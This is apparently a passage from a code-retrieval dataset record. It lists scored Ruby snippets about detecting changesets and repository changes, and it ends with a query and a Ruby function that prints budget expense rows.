undeployed.drop(1).map(&:strip)\n\n # Now we have something like this:\n #\n # [\"* actor_has_bulk_permission_on @1.2.0 @1.2.1 @1.2.2\",\n # \"* update_acl\"]\n\n # Now we can isolate just the changeset names\n change_lines.map do |line|\n # There are several rules[1] about what constitutes a legal\n # changeset name. We can assume they've all been followed\n # though, since we're just parsing sqitch's output. Thus,\n # for our purposes, we'll just say a changeset name is \"the\n # first bunch of non-space characters\"\n #\n # [1]: https://metacpan.org/module/sqitchchanges\n line =~ /^\\* ([^ ]+).*$/\n Regexp.last_match(1)\n end\n end\n end", "title": "" }, { "docid": "a8f3b591511b9155b519c4a88b2fbeb3", "score": "0.58980674", "text": "def validate(module_set, script_results)\n found = false\n \n module_set.each do |build_module|\n build_module.each do |subtree|\n if includes_module?(build_module) && includes_subtree?(subtree)\n found = found || subtree.source_exists\n end\n end\n end\n \n script_results.failed(\"There are no subtrees named %s in modules %s.\" % [ @types.join(\" or \"), @module_names.join(\" or \") ]) unless found\n \n found\n end", "title": "" }, { "docid": "da6aac8f6ce7efe8215d5d1b60aababb", "score": "0.58872175", "text": "def should_create_version?\n changes.slice!(*ignored_keys).size > 0\n end", "title": "" }, { "docid": "d5f326f69a4954e32e43bbe0127d6c38", "score": "0.5883267", "text": "def check_modifications\n run_check_in_repository '-a -m'\n end", "title": "" }, { "docid": "030afa37550f34f9ef638ea73b6b6164", "score": "0.58335847", "text": "def ruleset_will_change?(errata, release, product)\n new_default_ruleset = release.state_machine_rule_set || product.state_machine_rule_set\n # (If it has a custom rule set then it will not change regardless of the release & product)\n errata.custom_state_machine_rule_set.nil? && errata.state_machine_rule_set != new_default_ruleset\n end", "title": "" }, { "docid": "c250e44ea8f9e8f820ca4c88bc094317", "score": "0.58307076", "text": "def check_feed_result(changesets)\n assert changesets.size <= 20\n\n assert_select \"feed\", :count => [changesets.size, 1].min do\n assert_select \"> title\", :count => 1, :text => /^Changesets/\n assert_select \"> entry\", :count => changesets.size\n\n changesets.each do |changeset|\n assert_select \"> entry > id\", changeset_url(:id => changeset.id)\n end\n end\n end", "title": "" }, { "docid": "4c2de46d3150d3cc18d0bff8cb0b7217", "score": "0.58031684", "text": "def verify_json_changesets(changesets)\n for changeset in changesets\n assert(changeset.created_at <= changeset.closed_at)\n assert(changeset.created_at < Date.parse('2012-11-02'))\n assert(changeset.created_at > Date.parse('2011-11-02'))\n assert_equal(false, changeset.open)\n assert_equal('Hash', changeset.tags.class.name)\n assert(changeset.tags.size > 0)\n assert_equal('Fixnum', changeset.id.class.name)\n assert_equal('Fixnum', changeset.user_id.class.name)\n end\n end", "title": "" }, { "docid": "4e518397781636677d6ceedd8bb8c6ae", "score": "0.5800844", "text": "def __different_project_composition__ (contributors, gs)\n # puts \"Starting checks\"\n contributors.each do |contrib|\n # puts \"-- Checking #{contrib}\"\n return true unless gs.projects.include? contrib[:project]\n return true unless contrib[:pct].to_i > 0\n end\n # puts \"Checking #{contributors.count} == #{gs.projects.count}\"\n return contributors.count != gs.projects.count\n end", "title": "" }, { "docid": "595308d9238ba12f854326c84d577905", "score": "0.5788713", "text": "def verify\n @verification_errors = []\n @verification_errors << 'warning: no file_sets found' if no_fileset_warning\n @migrated_work.asset.file_sets.each do |file_set|\n verify_file_set(file_set)\n end\n @verification_errors\n rescue StandardError => e\n @verification_errors << e.message\n @verification_errors\n end", "title": "" }, { "docid": "c6e3c0917e0d47a27077279d6f923966", "score": "0.5787723", "text": "def test_changeset_gets_changeables_list\n a = Foo.new\n a.save\n c = Changeset.find(:first)\n assert_not_nil c.changeables_list\n assert_equal 1, c.changeables_list.size\n end", "title": "" }, { "docid": "b2d968628ddaf11ec37f8fc7d4f6e696", "score": "0.57658356", "text": "def do_hg_check_for_changes( task, args )\n\t\tunless self.hg.dirty?\n\t\t\tself.prompt.error \"Working copy is clean.\"\n\t\t\tabort\n\t\tend\n\tend", "title": "" }, { "docid": "ee859365e22de940c4eee35ed8f8f7c0", "score": "0.57628185", "text": "def changed?\n !modifications.empty?\n end", "title": "" }, { "docid": "494d1ee17bef7eb1137439762eb8352a", "score": "0.57334113", "text": "def has_changes?\n changes = @new_changes\n self.body.levels.each do |l|\n changes = l.new_changes || changes\n l.screens.each do |s|\n changes = s.new_changes || changes\n s.objects.each do |o|\n changes = o.new_changes || changes\n end\n end\n end\n\n changes\n end", "title": "" }, { "docid": "7d69130931c190080864038d0c84596b", "score": "0.5726156", "text": "def check_if_dirty\n logger.debug \"======= dataset changed? #{self.changed?}; changed: #{self.changed}\"\n logger.debug \"======= languages changed? #{self.languages_changed?}; change: #{self.languages_change}\"\n logger.debug \"======= reset_download_files changed? #{self.reset_download_files_changed?} change: #{self.reset_download_files_change}\"\n if self.changed? && !(self.changed.include?('reset_download_files') && self.reset_download_files == false)\n puts \"========== dataset changed!, setting reset_download_files = true\"\n self.reset_download_files = true\n end \n return true\n end", "title": "" }, { "docid": "537b07f4101f7102ab897843e8ba91a6", "score": "0.5721241", "text": "def validate_non_null_sets\n @config.non_null_sets.each_with_index do |set, idx|\n unless set.any? {|name| @args[name] && @args[name].provided? }\n add_error(\"non_null_set_#{idx}\".to_sym,\n \"Must provide at least one of: #{set.inspect}\")\n end\n end\n end", "title": "" }, { "docid": "ee1f2df659659fbe3f83a548184ca42b", "score": "0.5715875", "text": "def test_changesetable_options_are_separate\n assert_not_equal BarHistory.changesetable_options, FooHistory.changesetable_options\n assert_not_equal BarHistory.changesetable_options, BazHistory.changesetable_options\n end", "title": "" }, { "docid": "96e045dd4a9859790d283ff374ebb3b1", "score": "0.5697629", "text": "def files_changed_as_set(files)\n changed_files = files.select { |file| git.modified_files.include? file }\n not_changed_files = files.select { |file| !changed_files.include? file }\n all_files_changed = not_changed_files.empty?\n no_files_changed = changed_files.empty?\n return all_files_changed || no_files_changed\nend", "title": "" }, { "docid": "4f49d6a5b4c52d7f0e42d471e6532e6b", "score": "0.5649766", "text": "def requires_some?\n @require_set.size > 0\n end", "title": "" }, { "docid": "ebedef89b65e1d602caa1b2b516df8b5", "score": "0.5647086", "text": "def changesets\n changesets = nil\n return changesets unless valid?\n\n control_path = File.absolute_path(File.join(@path, 'SMIL'))\n runner = Story::Changelog::Runner.new\n bundle = nil\n\n i = 0\n Dir.glob(File.join(control_path, 'changes_branch_*.js')).each_with_index do\n i+=1\n end\n\n if(i > 0)\n name = 'changes_branch_' + i.to_s + '.js'\n change_data = File.read(File.join(control_path, name))\n\n unless change_data.nil?\n # bundle = Marshal.load(Marshal.dump(self)) # doesnt work in ios 9 or higher? body slot were missing after this\n bundle = self.clone\n runner.apply(bundle, change_data)\n # bundle.document.dataset_id = -1 * index if bundle.document.dataset_id == self.document.dataset_id\n bundle.instance_eval { @changelog = change_data }\n end\n end\n\n changesets = bundle\n changesets\n end", "title": "" }, { "docid": "4c50e266d75d944751dce54f36beed56", "score": "0.5637309", "text": "def any_diffs?(ref1,ref2)\n not @grit_repo.diff(ref1,ref2).empty?\n end", "title": "" }, { "docid": "085f92fb7469bf3a7a0435abf133357c", "score": "0.5620591", "text": "def changes?\n !changes[:added].empty? ||\n !changes[:removed].empty? ||\n changes[:modified].any? { |_, value| !value.nil? }\n end", "title": "" }, { "docid": "741c4562e5f012aecf2642cc7d37e616", "score": "0.5616096", "text": "def all_have_changed_to_exist?(atrs)\n atrs.all? { |atr| has_changed_to_exist?(atr) }\n end", "title": "" }, { "docid": "ea889bf3988c985ed9901a870b2c01cf", "score": "0.5594019", "text": "def _relevant_changes?(changes)\n # TODO: no coverage!\n files = changes.values.flatten(1)\n scope = Guard.state.scope\n watchers = scope.grouped_plugins.map do |_group, plugins|\n plugins.map(&:watchers).flatten\n end.flatten\n watchers.any? { |watcher| files.any? { |file| watcher.match(file) } }\n end", "title": "" }, { "docid": "4344b1e908abbbffde52da73ca44ce71", "score": "0.55915165", "text": "def toc_changes?\n (git.modified_files & files).any? || (git.added_files & files).any?\n end", "title": "" }, { "docid": "7972e8f6a1323a8aeb65635ceb87de0d", "score": "0.5584776", "text": "def check_contributing\n log 'CONTRIBUTING guide not found', 'g_0mVQ' unless check? 'CONTRIBUTING*'\n end", "title": "" }, { "docid": "9184fe2685477ae2099c634716021af7", "score": "0.5583038", "text": "def versionable_change?\n saved_change_to_title? || saved_change_to_description? || saved_change_to_identifier? ||\n saved_change_to_visibility? || saved_change_to_complete? || saved_change_to_template_id? ||\n saved_change_to_org_id? || saved_change_to_funder_id? || saved_change_to_grant_id? ||\n saved_change_to_start_date? || saved_change_to_end_date? ||\n saved_change_to_research_domain_id? || saved_change_to_ethical_issues? ||\n saved_change_to_ethical_issues_description? || saved_change_to_ethical_issues_report?\n end", "title": "" }, { "docid": "1fd1b40b3ba504e4cbd0d428ebdfb662", "score": "0.5571366", "text": "def has_changed?(curres, newres)\n Chef::Log.debug \"Checking: #{curres} is equal to #{newres}\"\n return curres != newres && !newres.nil?\nend", "title": "" }, { "docid": "f9ddf20bc2e9f42008398ad9caf47110", "score": "0.55610114", "text": "def deploy_change_set(*)\n unsupported('deploy change set')\n end", "title": "" }, { "docid": "0aa851c5da5a824b57899de7e77feedc", "score": "0.5556199", "text": "def code_changes?\n code = %w(libraries attributes recipes resources files templates)\n code.each do |location|\n return true unless git.modified_files.grep(/#{location}/).empty?\n end\n false\nend", "title": "" }, { "docid": "3835f0b8007fd38f68a8684b49547b63", "score": "0.55448705", "text": "def check_cached_concept\n changed_fields = changes.keys\n \n if !(changed_fields & [\"ontology_id\",\"concept_uri\"]).empty?\n self.cached_concept_yaml=nil\n end\n end", "title": "" }, { "docid": "a180f89a9715e051a2d3f945e763d247", "score": "0.55447936", "text": "def any_change?\n @any_change\n end", "title": "" }, { "docid": "2b11fad31d710a5a3be7567f6815b402", "score": "0.5540611", "text": "def call\n return if @files_changed.empty? # We care only for staged files.\n return unless grep?(@keywords, @files_changed)\n\n puts \"\\n WARNING\\n Found debugging statements which you might want to remove before committing:\"\n find_and_log_matches\n puts \"\\nUse `git commit --no-verify` to skip this validation.\"\n\n true\n end", "title": "" }, { "docid": "a0f93998b7764ec5e09a6e1dd3b607b7", "score": "0.55314463", "text": "def changesets\n @changesets ||= begin\n immute(fetch_and_update_cache).map { |entry| entry[:changeset] }\n end\n end", "title": "" }, { "docid": "9f5b5b33654f6e841a47ada5b8171398", "score": "0.552937", "text": "def commit_required?\n super || @manifest.edited?\n end", "title": "" }, { "docid": "11a13ea2fcd6afd4aec17ab52e10f8ef", "score": "0.5518822", "text": "def any_diffs?(ref1, ref2)\n not @grit_repo.diff(ref1, ref2).empty?\n end", "title": "" }, { "docid": "a10b0516f9cb2f247295096569999a17", "score": "0.55129796", "text": "def recheck\n check(@last_cookbook_paths, @last_options)\n end", "title": "" }, { "docid": "92540cae5cb9bf40946b928f15a579ec", "score": "0.5506133", "text": "def has_sdk_changes()\n files = (git.modified_files +\n git.added_files +\n git.deleted_files)\n return files.any? { |file|\n !shouldFileBeExcluded(file, $exclude_directories)\n }\nend", "title": "" }, { "docid": "06c3f162c804d44eca399a2926038355", "score": "0.5493807", "text": "def warnings_changed?\n not (diff[:new].empty? and diff[:fixed].empty?)\n end", "title": "" }, { "docid": "b63f5434c5b16004b0e3da54227aa0d7", "score": "0.5492925", "text": "def any_have_changed_to_exist?(atrs)\n atrs.any? { |atr| has_changed_to_exist?(atr) }\n end", "title": "" }, { "docid": "c93c327c17fa458543c89def6f6a1374", "score": "0.5491521", "text": "def check_consistency\n errors.add(:base, 'Need to specifiy a gist or code from github file!') if gist_id.blank? & content.blank?\n end", "title": "" }, { "docid": "009b803961c7034909a8d4e5a072cfb4", "score": "0.5491083", "text": "def has_non_blame_changes?\n cols = [\n self.blameable_config[:cre_at],\n self.blameable_config[:cre_by],\n self.blameable_config[:upd_at],\n self.blameable_config[:upd_by],\n ]\n (self.changed - cols).empty? ? false : true\n end", "title": "" }, { "docid": "bb1c297a72c87085240ad120a9e60af7", "score": "0.54699475", "text": "def changed_notably?\n notably_changed.any?\n end", "title": "" }, { "docid": "b807be495116215ba383723190499693", "score": "0.5460188", "text": "def test_changeset_include\n basic_authorization create(:user).display_name, \"test\"\n\n # create a new changeset\n content \"<osm><changeset/></osm>\"\n put :create\n assert_response :success, \"Creating of changeset failed.\"\n changeset_id = @response.body.to_i\n\n # NOTE: the include method doesn't over-expand, like inserting\n # a real method does. this is because we expect the client to\n # know what it is doing!\n check_after_include(changeset_id, 1, 1, [1, 1, 1, 1])\n check_after_include(changeset_id, 3, 3, [1, 1, 3, 3])\n check_after_include(changeset_id, 4, 2, [1, 1, 4, 3])\n check_after_include(changeset_id, 2, 2, [1, 1, 4, 3])\n check_after_include(changeset_id, -1, -1, [-1, -1, 4, 3])\n check_after_include(changeset_id, -2, 5, [-2, -1, 4, 5])\n end", "title": "" }, { "docid": "4bf2d728dbbe8a3af4d357e54913fe94", "score": "0.54564977", "text": "def change_set_complete?(id)\n begin\n Aws::Cfn.client.wait_until(:change_set_create_complete, stack_name: stack_name, change_set_name: id) { |w| w.delay = 1 }\n rescue ::Aws::Waiters::Errors::FailureStateError => e\n false # no changes to apply\n end\n end", "title": "" }, { "docid": "76e774eff3e47487fce2a21520533f2c", "score": "0.54551876", "text": "def only_modifies_changelogs?\n diff.scan(/^diff --git(.*)$/) do |fname|\n return false unless fname.first.strip.ends_with?('CHANGELOG')\n end\n true\n end", "title": "" }, { "docid": "8caf82471944254310f1487d90161fed", "score": "0.5433333", "text": "def do_git_check_for_changes( task, args )\n\t\t# :FIXME: Figure out a better way to do this.\n\t\tunless self.git.status.any?( &:type )\n\t\t\tself.prompt.error \"Working copy is clean.\"\n\t\t\tabort\n\t\tend\n\tend", "title": "" }, { "docid": "a72b65ecaa5e168483dda452ca8f7b83", "score": "0.54315186", "text": "def satisfied?(commit)\n false\n end", "title": "" }, { "docid": "0d4ef71a148f9c036b89a527cf839f87", "score": "0.54271847", "text": "def already_exists?(commit)\n false\n # Fix.exists?(commit: commit) ||\n # Vcc.exists?(commit: commit) ||\n # InterestingCommit.exists?(commit: commit)\n end", "title": "" }, { "docid": "9a3d45ede32f5b0efa23469a7c62febf", "score": "0.5422755", "text": "def _relevant_changes?(changes)\n files = changes.values.flatten(1)\n watchers = _scoped_watchers\n watchers.any? { |watcher| files.any? { |file| watcher.match(file) } }\n end", "title": "" }, { "docid": "b9981dc896e62ad4adc3d05aa2ff5657", "score": "0.5417927", "text": "def any_reports_changes?\n return status.done? && operation_date < Date.current if new_record?\n return status.done? && changes.include?('operation_date') unless changes.include?('status')\n (made_done? || made_undone?) && operation_date < Date.current\n end", "title": "" }, { "docid": "8cf13222822108741071c0b6aa6c2bd9", "score": "0.5416193", "text": "def check_changelog_update_missing(level = :fail)\n return if trivial_change?\n return if support_branch? && config.project_type == :application\n\n report(level, 'You did a change without updating CHANGELOG file!') unless changelog_modified?\n end", "title": "" }, { "docid": "0864569d08d83af850730391036a8584", "score": "0.5414818", "text": "def check_for_new_revisions\n # TODO: implement this, by checking for updates to @cd_urls\n # Stub implementation, pretends things always changed\n { 'dummy_repo' => '0' }\n end", "title": "" }, { "docid": "fa9104210473f4f4e0dd1f3fdd06d86a", "score": "0.54140925", "text": "def changed?\n @changes.find_all { |change| change.changed }.collect { |change|\n unless change.property.resource\n raise \"No resource for %s\" % change.inspect\n end\n change.property.resource\n }.uniq\n end", "title": "" }, { "docid": "9c2dec7cc5fe4e0bf83e5eeec200bd16", "score": "0.5402877", "text": "def all_have_changed_from_existing?(atrs)\n atrs.all? { |atr| has_changed_from_existing?(atr) }\n end", "title": "" }, { "docid": "3e4f7fd09bcf2b16204806d889b74490", "score": "0.54014295", "text": "def new_case?\n @allocation.versions.where('created_at >= ?', 7.days.ago).map { |c|\n YAML.load(c.object_changes)\n }.select { |c|\n c.key?('primary_pom_nomis_id') && c['primary_pom_nomis_id'][1] == @staff_id ||\n c.key?('secondary_pom_nomis_id') && c['secondary_pom_nomis_id'][1] == @staff_id\n }.any?\n end", "title": "" }, { "docid": "f1094eecce184c7b93ab6e5d4bebd993", "score": "0.5399948", "text": "def identical?\n @changes.empty?\n end", "title": "" }, { "docid": "043366ade414e1156be9db690898e9cb", "score": "0.5394635", "text": "def validate_changes_on_the_server_not_in_the_repo\n return unless versions_exist? && versions_match?\n\n begin\n # Cast local (Chef::Version) into a string\n cookbook = Chef::CookbookVersion.load(name, local.to_s)\n messages = []\n\n Chef::CookbookVersion::COOKBOOK_SEGMENTS.each do |segment|\n manifest_records = if Gem::Version.new(Chef::VERSION) < Gem::Version.new('13.0.0')\n # `files_for` was introduced in Chef 13\n cookbook.manifest[segment]\n else\n cookbook.files_for(segment)\n end\n manifest_records.each do |manifest_record|\n path = cookbook_path.join(\"#{manifest_record['path']}\")\n next if path.basename.to_s == '.git'\n\n if path.exist?\n checksum = checksum_cookbook_file(path)\n messages << \"#{manifest_record['path']}\" if checksum != manifest_record['checksum']\n else\n messages << \"#{manifest_record['path']} does not exist in the repo\"\n end\n end\n end\n\n unless messages.empty?\n message = \"has a checksum mismatch between server and repo in\\n\"\n message << messages.map { |f| \" #{f}\" }.join(\"\\n\")\n errors.add message\n end\n\n rescue Net::HTTPServerException\n errors.add \"Could not find cookbook #{name} on the server\"\n end\n end", "title": "" }, { "docid": "60dedd8b7ccd12e9ce8f04735455b0f5", "score": "0.5393549", "text": "def check_files(cli)\n cli.say 'Looking for outdated files in results'\n n, k = cli.load_project.dataset_names.size, 0\n cli.load_project.each_dataset do |d|\n cli.advance('Datasets:', k += 1, n, false)\n d.each_result do |r_k, r|\n ok = true\n r.each_file do |_f_sym, _f_rel, f_abs|\n unless File.exist? f_abs\n ok = false\n break\n end\n end\n unless ok\n cli.say \" > Registering again #{d.name}:#{r_k} \"\n d.add_result(r_k, true, force: true)\n sr = d.result(:stats) and sr.remove!\n end\n end\n end\n cli.say\n end", "title": "" }, { "docid": "60dedd8b7ccd12e9ce8f04735455b0f5", "score": "0.5393549", "text": "def check_files(cli)\n cli.say 'Looking for outdated files in results'\n n, k = cli.load_project.dataset_names.size, 0\n cli.load_project.each_dataset do |d|\n cli.advance('Datasets:', k += 1, n, false)\n d.each_result do |r_k, r|\n ok = true\n r.each_file do |_f_sym, _f_rel, f_abs|\n unless File.exist? f_abs\n ok = false\n break\n end\n end\n unless ok\n cli.say \" > Registering again #{d.name}:#{r_k} \"\n d.add_result(r_k, true, force: true)\n sr = d.result(:stats) and sr.remove!\n end\n end\n end\n cli.say\n end", "title": "" }, { "docid": "b549c48e23d5207056516208061c8e9f", "score": "0.5392944", "text": "def empty?\n changes.empty?\n end", "title": "" }, { "docid": "5b4cb8807c9b97515b4fe75df8106a4a", "score": "0.53926736", "text": "def test_options_same\n assert_equal Foo.changesetable_options, SameHistory.changesetable_options\n assert_equal Foo.changesetable_options, FooHistory.changesetable_options\n end", "title": "" }, { "docid": "ae77fa854109a3785235578563485295", "score": "0.5390426", "text": "def includes_gitlab_configuration_changes?\n changed_files.include?('gitlab-ci.yml')\n end", "title": "" }, { "docid": "3f894cb293cccf0e04182c345a145059", "score": "0.5384661", "text": "def changes_state?\n @sets\n end", "title": "" }, { "docid": "9082c31d5e29cefd8a85b71a6c246ac5", "score": "0.5375641", "text": "def test_changeset_created_on_save\n a = Foo.new\n a.save\n f = FooHistory.find(:first)\n c = Changeset.find_by_is_active(true)\n assert_not_nil c\n end", "title": "" }, { "docid": "0a9607a0ec15b0f7c01b9287a4d7fab0", "score": "0.53698456", "text": "def _conflow_spec_returns\n @_conflow_spec_returns ||= Set.new\n end", "title": "" }, { "docid": "70162aa9682a3536332e5c41c7786258", "score": "0.5365918", "text": "def check_conflicts\n check :conflicts, type: ::Array, default: [], item_type: ::String\n\n return if @conflicts.empty?\n end", "title": "" }, { "docid": "99e8d8b7bf2292fdf0ba3b17815a55c4", "score": "0.536436", "text": "def validate_tools \n return false if !@source_control_tool || (!@source_control_tool && !@code_review_tool)\n return false if @source_control_tool && @code_review_tool && !@source_control_tool.reviewed_by_tag.empty?\n return false if @source_control_tool && !@code_review_tool && @source_control_tool.reviewed_by_tag.empty?\n return true if @source_control_tool && !@code_review_tool && !@source_control_tool.reviewed_by_tag.empty? \n true\n end", "title": "" }, { "docid": "5fc398c487785b131b0965406f4368a2", "score": "0.5363966", "text": "def check_all_sets(&b)\n\t\tcount = 0\n\t\tself.all_sets { |arr|\n\t\t\tif yield(arr) == true\n\t\t\t\tcount+=1\n\t\t\tend\n\t\t}\n\t\tcount\n\tend", "title": "" }, { "docid": "3e47bec5177f9b1097cba27c63d67305", "score": "0.5363441", "text": "def requires_changes?\n should_update_mode? || should_update_owner? || should_update_group?\n end", "title": "" }, { "docid": "7deee73749d2a2b97561e963d9b3fa49", "score": "0.5362693", "text": "def clean_up_the_rcs_if_set_name_has_changed(new_set_name)\r\n logger.debug \"clean_up_the_rcs_if_set_name_has_changed\"\r\n \r\n success = true\r\n old_set_name = reason_code_set_name\r\n logger.debug \" old_set_name : #{old_set_name.id if old_set_name}\"\r\n logger.debug \" new_set_name : #{new_set_name.id if new_set_name}\"\r\n if !old_set_name.blank? && old_set_name != new_set_name\r\n success = old_set_name.switch_rcs_to_new_set_and_destroy(new_set_name, id)\r\n if success\r\n self.reason_code_set_name = new_set_name\r\n success = cleanup_reason_codes_after_porting_to_new_set\r\n end\r\n end\r\n success \r\n end", "title": "" }, { "docid": "d71e2deb3a8d0705ee8bb15f50feca8a", "score": "0.5358248", "text": "def filter_by_changed_paths\n base_sha = capture([\"git\", \"merge-base\", \"HEAD\", \"main\"]).strip\n changed_paths = capture([\"git\", \"--no-pager\", \"diff\", \"--name-only\", \"HEAD\", base_sha]).split(\"\\n\")\n puts \"Changed paths:\", :bold\n changed_paths.each { |changed_path| puts changed_path }\n infra_dirs = [\"spec/\", \".kokoro/\", \".toys/\"]\n if changed_paths.any? { |changed_path| infra_dirs.any? { |dir| changed_path.start_with? dir } }\n # Spanner takes a long time, so omit it when testing infrastructure changes\n @products.delete \"spanner\"\n puts \"Test drivers may have changed; running all tests except spanner.\", :bold\n return\n end\n puts \"Filtering tests based on what has changed...\", :bold\n @products.select! do |product_dir|\n keep = changed_paths.any? { |changed_path| changed_path.start_with? \"#{product_dir}/\" }\n if keep\n puts \"Keeping #{product_dir}\"\n else\n puts \"Omitting #{product_dir}\"\n end\n keep\n end\nend", "title": "" }, { "docid": "e66c3e6966b775d1799a6b8fed500121", "score": "0.535755", "text": "def check()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f3f8f62a47bc53dd1d5cd9fd1d98c13a", "score": "0.5351482", "text": "def check_minizinc_output\n check_for_unsatifiable(@output)\n check_for_error(@output)\n end", "title": "" }, { "docid": "011e8f359627b29caa3b46ef00851dc8", "score": "0.53457665", "text": "def patchable?\n not @is_empty_changeset\n end", "title": "" }, { "docid": "7badf2f974b581f611199c6b37c4ae0d", "score": "0.53412527", "text": "def check_changed_files\n return unless `git -C #{APPLICATION_PATH} status --short | wc -l`\n .to_i.positive?\n abort('Files changed, please commit before deploying.')\n end", "title": "" }, { "docid": "ce229cda68ef2adcfe07331a8b8e9c03", "score": "0.53391176", "text": "def any_have_changed_from_existing?(atrs)\n atrs.any? { |atr| has_changed_from_existing?(atr) }\n end", "title": "" }, { "docid": "ad42e236910970e0009866f514ba0bb3", "score": "0.5338491", "text": "def empty?\n @changes.empty?\n end", "title": "" }, { "docid": "b8a2725afbd765a3be7d3c2810bd0a95", "score": "0.5323474", "text": "def check_compile\n begin\n @no_compile = false # override this if it's turned on\n check_maven_version\n check_short\n raise \"check_short failed.\" if @script_results.failed?\n \n mark_this_revision_as_good()\n rescue \n mark_this_revision_as_bad($!)\n raise\n end\n end", "title": "" }, { "docid": "b54cb322cb2296ea50ead0e82bb9f6fa", "score": "0.53185654", "text": "def fetch_changesets\n # ensure we don't fetch twice during the same request\n return if @already_fetched\n @already_fetched = true\n\n puts \"Calling fetch changesets on #{clone_path}\"\n # runs git fetch\n self.fetch\n super\n end", "title": "" }, { "docid": "b50a7cc890f3a4874507e9c56e0c5290", "score": "0.53173244", "text": "def clean?\n changes.size == 0\n end", "title": "" }, { "docid": "8136e53c77cbc797d2bdbf5972146696", "score": "0.53163695", "text": "def empty?\n !source_definition['version_control'] && overrides.empty?\n !each_package.find { true } &&\n !File.exists?(File.join(raw_local_dir, \"overrides.rb\")) &&\n !File.exists?(File.join(raw_local_dir, \"init.rb\"))\n end", "title": "" }, { "docid": "395a234d00a6d146120eb152af3e23f8", "score": "0.53162766", "text": "def changed?\n super || present_friendly_instances.any?(&:changed?)\n end", "title": "" }, { "docid": "d9e02d460eaa04cbe88a5f29866e560a", "score": "0.5313056", "text": "def check_collins_for_alter()\n return true if self.collins_online_schema_change.empty?\n meta = JSON.parse(self.collins_online_schema_change)\n if(meta['running'])\n return false \n end\n return true\n end", "title": "" }, { "docid": "cfbd625c8dc31344fe8a0fd39c1bee69", "score": "0.53117186", "text": "def modified?\n\t\t\tif !output.present?\n\t\t\t\tfalse\n\t\t\telsif !org.present?\n\t\t\t\tfalse\n\t\t\telse\n\t\t\t\t!output.file_identical?(org)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "107d1d1c657f7bbc49dd895104cf18cc", "score": "0.5309877", "text": "def hasChangesIn(paths)\n path_array = Array(paths)\n path_array.each do |dir|\n if !git.modified_files.grep(/#{dir}/).empty?\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "107d1d1c657f7bbc49dd895104cf18cc", "score": "0.5309877", "text": "def hasChangesIn(paths)\n path_array = Array(paths)\n path_array.each do |dir|\n if !git.modified_files.grep(/#{dir}/).empty?\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "60eaf9ffdadc6590499c1c6f58a0c804", "score": "0.53051966", "text": "def check\n traverse_project_and_check @proj_root\n end", "title": "" }, { "docid": "9c361cf392e660b18b2ee75e0f4b797d", "score": "0.52989507", "text": "def changed?\n !changed.empty?\n end", "title": "" }, { "docid": "52ff4bcb1fefdee93ff29d463bc246ce", "score": "0.5290454", "text": "def test_changeable_history_assigned_to_changeset\n a = Foo.new\n a.save\n f = FooHistory.find(:first)\n c = Changeset.find_by_is_active(true)\n assert_equal f.changeset, c\n end", "title": "" }, { "docid": "74da809fe21e54493648f6abcae4a18c", "score": "0.52837783", "text": "def check_collins_for_alter\n return true if self.collins_online_schema_change.empty?\n meta = JSON.parse(self.collins_online_schema_change)\n\n !meta['running']\n end", "title": "" }, { "docid": "0e7d97681e6de69523220bf4ca18fd8d", "score": "0.5276994", "text": "def recipe_conflicts?\n (recipe_conflicts.length > 0)\n end", "title": "" }, { "docid": "d95d3ea448d1e37de66c9c3cdb3cc18f", "score": "0.52745056", "text": "def self_check\n output Noop::Utils.separator 'Paths'\n check_paths\n if has_filters?\n output Noop::Utils.separator 'Filters'\n show_filters\n end\n output Noop::Utils.separator 'Missing'\n list_missing_tasks_and_specs\n output Noop::Utils.separator 'Unmatched'\n list_unmatched_specs\n output Noop::Utils.separator 'Library'\n show_library\n output Noop::Utils.separator 'End'\n end", "title": "" }, { "docid": "d63313110c484cf471501fefb1f2b515", "score": "0.527442", "text": "def check_export_syntax\n check_export_file_for_duplicates\n check_export_file_for_obvious_errors\n check_export_file_data\n end", "title": "" }, { "docid": "8c5e4a9c72230c5f910705833d4f6228", "score": "0.52637494", "text": "def bumped_metadata?\n require 'chef'\n files_to_check = %w(\n metadata\\.(rb|json)\n Berksfile\n Berksfile\\.lock\n Policyfile\\.rb\n Policyfile\\.lock\\.json\n recipes\\/.*\n attributes\\/.*\n libraries\\/.*\n files\\/.*\n templates\\/.*\n ).join('|')\n\n if changed_files.any? { |f| /^(#{files_to_check})/ =~ f }\n metadata = Chef::Cookbook::Metadata.new\n metadata.from_file('metadata.rb')\n base_metadata = Chef::Cookbook::Metadata.new\n base_metadata.from_file(base_metadata_file)\n FileUtils.safe_unlink(base_metadata_file)\n base_metadata.nil? ||\n metadata.version > base_metadata.version\n else\n true\n end\nend", "title": "" } ]
a4ab696f197c0b22ad87351023763938
Output 'id, year, section, entity type, service, programme, concept, description, amount'
[ { "docid": "bb30f800bb513be727e01f7281a72679", "score": "0.5845058", "text": "def extract_expenses(bkdown, open_headings)\n bkdown.expenses.each do |row|\n uid = get_uid(bkdown.year, bkdown.section, bkdown.entity_type, row[:service], row[:programme], row[:expense_concept])\n expense_description = \"#{uid}|#{bkdown.year}|#{bkdown.section}|#{bkdown.entity_type}|#{row[:service]}|#{row[:programme]}|#{row[:expense_concept]}|#{row[:description]}\"\n \n # The total amounts for service/programme/chapter headings is shown when the heading is closed,\n # not opened, so we need to keep track of the open ones, and print them when closed.\n if ( row[:amount].empty? ) # opening heading\n open_headings << expense_description\n elsif ( row[:expense_concept].empty? ) # closing heading\n last_heading = open_headings.pop()\n puts \"#{last_heading}|#{convert_number(row[:amount])}\" unless last_heading.nil?\n else # standard data row\n puts \"#{expense_description}|#{convert_number(row[:amount])}\"\n end\n end\nend", "title": "" } ]
